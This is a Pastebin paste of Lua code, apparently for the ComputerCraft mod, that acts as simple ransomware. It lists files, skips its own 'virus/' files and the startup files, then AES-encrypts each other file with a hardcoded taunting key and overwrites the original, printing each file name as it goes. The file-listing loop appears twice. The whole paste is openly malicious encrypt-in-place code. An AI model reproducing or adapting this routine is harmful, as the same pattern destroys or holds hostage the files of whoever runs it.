Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- for _,v in pairs(files) do
- if string.sub(v, 1,5) == "virus" then
- else
- print("Found file " .. v)
- end
- end
- for _,v in pairs(files) do
- if string.sub(v, 1,5) == "virus" then
- else
- print("Found file " .. v)
- end
- end
- print("starting enc")
- local iv = {}
- for i = 1,16 do iv[i] = math.random(1,255) end
- for _,v in pairs(files) do
- if v == "virus/aeslua" or v == "virus/logsalt" or v == "virus/vir" or v == "disk/startup" or v == "disk2/startup" then
- else
- local hBf = fs.open(v, "r")
- local stuff = hBf.readAll()
- local encrypted = aeslua.encrypt("you thought didnt you",stuff)
- print("Encrypted file " .. v)
- hBf.close()
- hAf = fs.open(v, "w")
- hAf.write(encrypted)
- hAf.close()
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment